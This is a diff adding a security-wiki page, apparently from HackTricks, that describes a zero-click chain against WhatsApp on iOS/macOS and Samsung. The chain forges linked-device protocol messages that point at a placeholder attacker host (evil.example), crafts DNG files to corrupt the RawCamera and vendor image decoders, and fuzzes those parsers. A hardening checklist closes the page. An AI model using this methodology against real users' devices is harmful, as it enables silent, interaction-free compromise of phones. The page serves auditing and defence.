|
| 1 | +# Zero-click Messaging → Image Parser Chains |
| 2 | + |
| 3 | +{{#include ../../banners/hacktricks-training.md}} |
| 4 | + |
| 5 | +## TL;DR |
| 6 | + |
| 7 | +- Treat **messaging app multi-device/companion protocols** as remote control channels: if protocol fields are assumed to come from trusted devices, they might still be user-controlled and can often be replayed directly against a victim to load arbitrary content with **0 user interaction**. |
| 8 | +- Once any app can be coerced into fetching untrusted media, target the **shared OS media pipeline** (RawCamera on iOS/macOS, vendor parsers on Android OEM builds) with malformed files to pivot out of the sandbox. |
| 9 | +- The DNG-based RawCamera and Samsung parser bugs discussed here are concrete examples, but the full technique is a reusable blueprint for chaining **logic flaws → image parser memory corruption → full device compromise**. |
| 10 | + |
| 11 | +## Remote content loading via WhatsApp linked-device commands |
| 12 | + |
| 13 | +### Attack surface recap |
| 14 | + |
| 15 | +The WhatsApp "linked devices" architecture keeps the primary phone and every companion (desktop, tablet, secondary phone) in sync via encrypted, structured protocol messages. Each message encodes: |
| 16 | + |
| 17 | +- **Device metadata** (device ID, capabilities, feature flags). |
| 18 | +- **Action descriptors** (e.g., sync chats, fetch thumbnails, render remote content). |
| 19 | +- **Arbitrary parameters** such as URIs, MIME hints, pagination keys, etc. |
| 20 | + |
| 21 | +On Apple clients, the handler that processes these linked-device control packets **implicitly trusted** that a valid pairing already occurred, so high-impact fields (e.g., `resource_url`, `open_media`, `sync_snapshot`) were only minimally validated. A malicious companion message could therefore: |
| 22 | + |
| 23 | +1. Be routed to any account identified by its phone number. |
| 24 | +2. Survive the transport stack (Noise protocol + WhatsApp protobuf framing) because the receiver never verified that the sender was a legitimately paired device. |
| 25 | +3. Reach the iOS client, where the vulnerable code path automatically triggered a background HTTP(S) request to the attacker URL and parsed the response in a hidden WebView/media renderer. |
| 26 | + |
| 27 | +### Practical workflow for auditors |
| 28 | + |
| 29 | +1. **Capture legitimate linked-device traffic.** Attach a debugger or Frida script to the desktop/iOS client and hook the post-decryption handler (e.g., `LinkedDevicesSyncHandler::processAction`). Dump decoded protobuf payloads to learn available action types and parameters. |
| 30 | +2. **Identify fields that cross trust boundaries.** Any action carrying `http_url`, `thumbnail_uri`, `download_url`, or `render_html` parameters without strict allow-lists is a candidate remote-content primitive. |
| 31 | +3. **Forge a malicious action.** Reuse the observed protobuf schema and modify only the attacker-controlled fields. A simplified JSON view of the relevant logical structure is shown below (the actual transport is protobuf/Noise, but the semantic fields match): |
| 32 | + |
| 33 | +```json |
| 34 | +{ |
| 35 | + "op": "sync_action", |
| 36 | + "device_id": "<attacker-companion>", |
| 37 | + "payload": { |
| 38 | + "target": "content_sync", |
| 39 | + "resource_url": "https://evil.example/payload.html", |
| 40 | + "media_type": "image/dng", |
| 41 | + "flags": ["background_fetch", "render_inline"] |
| 42 | + } |
| 43 | +} |
| 44 | +``` |
| 45 | + |
| 46 | +4. **Deliver to the victim.** Replay the crafted packet through the same WhatsApp service that normally forwards linked-device traffic (e.g., using a modified desktop client or a custom Noise client reusing your attacker account keys). Because CVE-2025-55177 failed to tie actions to authenticated devices, the victim iOS/macOS client would accept the message and immediately fetch the attacker URL without any UI. |
| 47 | +5. **Instrument the fetch.** Observe the forced HTTP(S) request and the internal renderer (WKWebView/ImageIO). At this point you own a zero-click web delivery primitive inside WhatsApp. |
| 48 | + |
| 49 | +## Weaponizing auto-decoded DNGs against RawCamera |
| 50 | + |
| 51 | +Once the attacker controls what WhatsApp loads, the next goal is to make iOS/macOS parse a malicious **Digital Negative (DNG)** file with the **RawCamera** framework. Any embedded `<img>`/CSS URL that resolves to a `.dng` will be passed to the system image pipeline, invoking RawCamera even if WhatsApp itself never handled DNGs explicitly. |
| 52 | + |
| 53 | +### Triggering RawCamera from WhatsApp |
| 54 | + |
| 55 | +- Serve HTML that references the DNG via multiple mechanisms (e.g., `<img src="evil.dng">`, CSS `background-image: url('evil.dng')`, or `<picture>` sources) to cover different render paths. |
| 56 | +- Ensure correct MIME (`image/x-adobe-dng`) and small previews so the loader does not bail early because of size heuristics. |
| 57 | +- The iOS media sandbox will stream the file into RawCamera via `CGImageSourceCreateWithURL`, eventually hitting the vulnerable decoder. |
| 58 | + |
| 59 | +### Crafting memory-corrupting DNGs (CVE-2025-43300 style) |
| 60 | + |
| 61 | +The reproduced bug relied on inconsistent metadata that desynchronized buffer allocation from actual pixel reads. Typical levers include: |
| 62 | + |
| 63 | +- **Tile/strip descriptors**: Set `TileByteCounts`/`StripByteCounts` to realistic values but increase `TileOffsets` to point beyond the allocated buffer. |
| 64 | +- **Sub-IFD chains**: Embed secondary images with conflicting `ImageWidth`/`ImageLength` and `BitsPerSample` so RawCamera computes a small buffer while later stages trust attacker-controlled dimensions. |
| 65 | +- **Opcode metadata**: Manipulate `OpcodeList3` entries so that per-row processing operates on attacker-chosen indexes. |
| 66 | + |
| 67 | +A basic mutation harness to hunt for such corruptions can be built around macOS, since the same RawCamera code ships on macOS/iOS/iPadOS: |
| 68 | + |
| 69 | +```bash |
| 70 | +#!/bin/bash |
| 71 | +set -e |
| 72 | +for sample in corpus/*.dng; do |
| 73 | + radamsa "$sample" > /tmp/poc.dng |
| 74 | + /System/Library/CoreServices/RawCamera.bundle/Contents/MacOS/RawCamera /tmp/poc.dng >/tmp/out 2>&1 || { |
| 75 | + mv /tmp/poc.dng crashes/$(date +%s).dng |
| 76 | + } |
| 77 | +done |
| 78 | +``` |
| 79 | + |
| 80 | +Each crash in `RawCamera` gives you a new primitive. The published PoC achieved a neat out-of-bounds read/write reliable enough to crash WhatsApp on iPhone, iPad, and Mac. |
| 81 | + |
| 82 | +## Building the 0-click chain |
| 83 | + |
| 84 | +1. **Linked-device packet** → coerces WhatsApp into fetching `https://evil.example/payload.html` without any taps. |
| 85 | +2. **Payload HTML** → silently references `evil.dng`, guaranteeing RawCamera is invoked by the OS media stack. |
| 86 | +3. **Malicious DNG** → abuses crafted tags to trigger the RawCamera OOB and crash/own the image decoder. |
| 87 | +4. **Post-corruption exploitation** → add info-leak gadgets (e.g., abusing predictable heap metadata) and stage a ROP/JOP chain to break out of the WhatsApp sandbox and into more privileged contexts. |
| 88 | + |
| 89 | +Because every step is automatic, the attacker only needs the victim’s phone number. No notifications, banners, or prompts are shown on the target device. |
| 90 | + |
| 91 | +## Samsung vendor image parser parallels |
| 92 | + |
| 93 | +Samsung’s bulletin for CVE-2025-21043 confirmed that their proprietary image parsing stack (used by Gallery, Messages, and also indirectly by WhatsApp) suffered an **out-of-bounds write** reachable through untrusted media. The exploitation methodology mirrors the Apple chain: |
| 94 | + |
| 95 | +- Identify an auto-preview vector (chat thumbnails, notification previews, share sheets) that parses the attacker file with Samsung’s `libimagecodec`/`libOneUI_ImageDecoder` libraries. |
| 96 | +- Diff OEM library updates or fuzz parsers with malformed RAW/DNG files until you see memory corruptions similar to the RawCamera crash (heap metadata clobber, register control, etc.). |
| 97 | +- Deliver the crafted file through any channel that already auto-loads content (e.g., the same linked-device primitive, WhatsApp preview fetchers, or Android’s push-to-talk waveform previews). |
| 98 | + |
| 99 | +Once an OOB write exists in the vendor parser, combining it with the WhatsApp auto-fetch primitive yields another zero-click chain on Samsung devices. |
| 100 | + |
| 101 | +## Testing & hardening checklist |
| 102 | + |
| 103 | +- **Protocol validation**: Enforce strict allow-lists for every linked-device action. Companion commands that request a fetch/render must prove device pairing (signing the payload) and the URL should match an allow-list or signed blob. |
| 104 | +- **Transport replay countermeasures**: Bind each action to a per-device key and reject packets whose sender key is unknown, even if the protobuf syntax is correct. |
| 105 | +- **Media pipeline restrictions**: High-level apps should only allow approved MIME types and explicitly reject RAW/DNG unless the feature is required. |
| 106 | +- **Parser fuzzing regression tests**: Keep a corpora of malformed RAW/DNG files and run them against RawCamera/vendor decoders after every update. |
| 107 | +- **Crash triage automation**: Attach `DYLD_INSERT_LIBRARIES` sanitizers or MTE on fuzz devices to catch subtle OOB conditions before attackers do. |
| 108 | + |
| 109 | +## References |
| 110 | + |
| 111 | +- [DNGerousLINK: A Deep Dive into WhatsApp 0-Click Exploits on iOS and Samsung Devices](https://media.ccc.de/v/39c3-dngerouslink-a-deep-dive-into-whatsapp-0-click-exploits-on-ios-and-samsung-devices) |
| 112 | + |
| 113 | +{{#include ../../banners/hacktricks-training.md}} |
0 commit comments